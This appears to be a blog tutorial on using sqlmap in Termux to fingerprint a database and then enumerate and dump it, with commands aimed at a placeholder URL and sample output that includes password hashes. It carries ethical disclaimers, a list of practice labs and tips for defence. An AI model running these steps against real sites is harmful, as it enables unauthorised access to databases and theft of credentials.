What if Database Fingerprinting in Termux could expose misconfigurations faster than paid scanners?
I still remember the first time I ran sqlmap on my phone. I was riding a crowded jeep, tinkering with Termux to prep for a free community workshop on ethical recon. I’d downloaded a list of publicly available test portals used for security training and experimentation—legit playgrounds for tools like sqlmap.
Out of curiosity, I picked one from the list, fired up Termux, and started probing. Within minutes, I had a full fingerprint of the database powering the site—software, version, even the DBMS banner. No laptop. No premium scanner. Just FOSS tools, a beat-up Android phone, and a bit of curiosity.
That moment hit hard: Database Fingerprinting isn’t some elite hacker trick—it’s a practical, open-source skill that can empower anyone, especially in low-resource environments.
In this guide, I’ll show you how to use sqlmap in Termux for precise Database Fingerprinting, step-by-step—legally, ethically, and with tools you control.
Let’s get tactical—read on.
⚠️ Important: These tools are intended for ethical hacking, security research, and education. Use them only on systems and networks you own or have permission to test. Unauthorized use can lead to serious legal consequences.
Download my FREE Termux Cheat Sheet Now!
- Prerequisites
- What is Database Fingerprinting—And Why Should You Care?
- Installing sqlmap in Termux: What You Need to Know First
- Step 1: Install SQLmap in Termux
- Step 2: Perform Basic Database Fingerprinting
- Step 3: Identify Database Users
- Step 4: Enumerate Databases
- Explanation:
- Step 5: Enumerate Tables in a Database
- Step 6: Enumerate Columns in a Table
- Step 7: Extract Data with SQLmap
- Step 8: Automate Database Fingerprinting
- Step 9: Secure the Database
- Where to Practice Ethically: Legal Targets for sqlmap Testing
- Practice Legally, Hack Ethically
Prerequisites
To get started, ensure you have:
- Termux installed on your Android device.
- SQLmap cloned and ready to use in Termux.
- A test environment or permission to run scans on a web application.
What is Database Fingerprinting—And Why Should You Care?
Database Fingerprinting is the process of identifying key details about a target database without directly logging into it. Think of it as passive intel gathering before a full conversation—you learn what kind of database engine is running (MySQL? PostgreSQL? MSSQL?), its version, potential misconfigurations, and sometimes even its operating system.
Why does this matter?
Because knowing the type and version of a database helps ethical hackers determine:
- If known vulnerabilities exist for that system
- What payloads or queries will work
- How to simulate attacks safely in a lab before suggesting mitigations
For defenders and students alike, fingerprinting is like looking at a castle’s layout before discussing defenses—not to attack, but to understand. And with sqlmap, it’s as simple as pointing and firing—with consent and legal targets, of course.
Installing sqlmap in Termux: What You Need to Know First
Before diving into Database Fingerprinting, it’s crucial to set up your tools properly—especially when working in a mobile environment like Termux. Unlike traditional Linux setups, Termux operates within Android’s unique sandbox, which means certain commands, permissions, and paths behave differently.
This section gives you a clear starting point for installing sqlmap
cleanly in Termux, using reliable FOSS methods that don’t require root access or sketchy scripts. Whether you’re testing a local environment or exploring public training targets, a solid install ensures you can focus on recon—not troubleshooting.
Step 1: Install SQLmap in Termux
First, update Termux and clone the SQLmap repository:
pkg update && pkg upgrade
pkg install git
git clone https://github.com/sqlmapproject/sqlmap.git
cd sqlmap
Sample Output:
Cloning into 'sqlmap'...
remote: Enumerating objects: 45348, done.
remote: Counting objects: 100% (45348/45348), done.
Step 2: Perform Basic Database Fingerprinting
To begin fingerprinting, run the following SQLmap command to identify the DBMS type and version.
python sqlmap.py -u "http://target.com/page?id=1" --banner
Explanation:
-u
: Specifies the target URL.--banner
: Extracts the database banner to determine the DBMS and version.
Sample Output:
[INFO] the back-end DBMS is MySQL
Banner: '5.7.32 MySQL Community Server'
Result: The output reveals that the backend database is MySQL version 5.7.32.
Step 3: Identify Database Users
After fingerprinting the DBMS, list the database users with this command:
python sqlmap.py -u "http://target.com/page?id=1" --users
Sample Output:
Database users:
[*] root@localhost
[*] admin@localhost
[*] guest@localhost
Why This Matters
Identifying users can reveal weak accounts or help in privilege escalation during penetration testing.
Step 4: Enumerate Databases
Use SQLmap to list the available databases on the server:
python sqlmap.py -u "http://target.com/page?id=1" --dbs
Explanation:
--dbs
: Enumerates all available databases.
Sample Output:
available databases:
[*] information_schema
[*] example_db
[*] mysql
Step 5: Enumerate Tables in a Database
Once you’ve identified a target database, list its tables:
python sqlmap.py -u "http://target.com/page?id=1" -D example_db --tables
Explanation:
-D
: Specifies the target database.--tables
: Lists all tables within the specified database.
Sample Output:
Database: example_db
[1] users
[2] orders
[3] products
Step 6: Enumerate Columns in a Table
Next, enumerate the columns within a specific table, such as users
:
python sqlmap.py -u "http://target.com/page?id=1" -D example_db -T users --columns
Explanation:
-T
: Specifies the target table.--columns
: Lists the columns in the selected table.
Sample Output:
Table: users
[1] id INT
[2] username VARCHAR(50)
[3] password VARCHAR(255)
Step 7: Extract Data with SQLmap
Now that you know the table structure, extract the data from the users
table:
python sqlmap.py -u "http://target.com/page?id=1" -D example_db -T users --dump
Explanation:
--dump
: Extracts all data from the specified table.
Sample Output:
codeid username password
1 admin 5f4dcc3b5aa765d61d8327deb882cf99
2 user1 6dcd4ce23d88e2ee9568ba546c007c63
Step 8: Automate Database Fingerprinting
For a comprehensive fingerprinting and enumeration process, use SQLmap’s --all
option:
python sqlmap.py -u "http://target.com/page?id=1" --all
Explanation:
--all
: Automates the extraction of all available information about the DBMS, users, databases, tables, and data.
Sample Output (Excerpt):
Database: example_db
Tables:
- users
- orders
Columns in 'users':
- id
- username
- password
Data in 'users':
- admin: 5f4dcc3b5aa765d61d8327deb882cf99
Step 9: Secure the Database
Understanding how attackers perform database fingerprinting highlights the need for robust security measures. To protect your applications:
- Use parameterized queries to prevent SQL injection attacks.
- Implement input validation to block malicious inputs.
- Deploy a web application firewall (WAF) to monitor and block suspicious traffic.
- Limit user privileges to minimize the impact of potential breaches.
· · ─ ·𖥸· ─ · ·
Where to Practice Ethically: Legal Targets for sqlmap Testing
Let’s be crystal clear: never run sqlmap against websites or databases you don’t own or explicitly have permission to test. Even curiosity can land you in legal hot water.
Fortunately, the cybersecurity community has provided a number of ethical testing platforms and deliberately vulnerable apps designed for training and experimentation. Here are a few FOSS-friendly and beginner-safe options:
DVWA (Damn Vulnerable Web Application)
Install it locally or via Docker. It includes SQLi vulnerabilities you can test against.
bWAPP
A PHP app filled with bugs on purpose—great for testing SQL injection and other OWASP Top 10.
OWASP Juice Shop
A modern, gamified vulnerable app with SQLi lessons built in.
SQLi Labs
A collection of realistic SQL injection challenges, organized by difficulty.
Each of these can be run locally on a Linux machine or even an Android device via Termux and a local web server (like php
+ ngrok
for exposing it).
Practicing here not only protects you legally—it sharpens your recon skills in a way that’s safe, measurable, and repeatable. FOSS gives us the power; ethics give us the direction.
Practice Legally, Hack Ethically
You’ve just seen how powerful open-source tools like sqlmap can be when used responsibly. With just a smartphone and Termux, you walked through the process of Database Fingerprinting using legitimate training targets—no shady scans, no gray areas. Just skill-building in its purest form.
This isn’t about breaking things for fun—it’s about learning to spot weaknesses before the bad guys do. Whether you’re securing a nonprofit’s web app, teaching digital hygiene to youth, or exploring cybersecurity as a career, ethical recon is a skill worth having—and sharing.
If you’re into hands-on guides like this, rooted in real-world use and built around free tools, then join the movement.
👉 Subscribe to the DevDigest Newsletter for weekly walkthroughs, toolkits, and FOSS-powered techniques made for hackers with a conscience.
Keep learning. Keep testing. Always ethically.
⚠️ Important: These tools are intended for ethical hacking, security research, and education. Use them only on systems and networks you own or have permission to test. Unauthorized use can lead to serious legal consequences.
Leave a Reply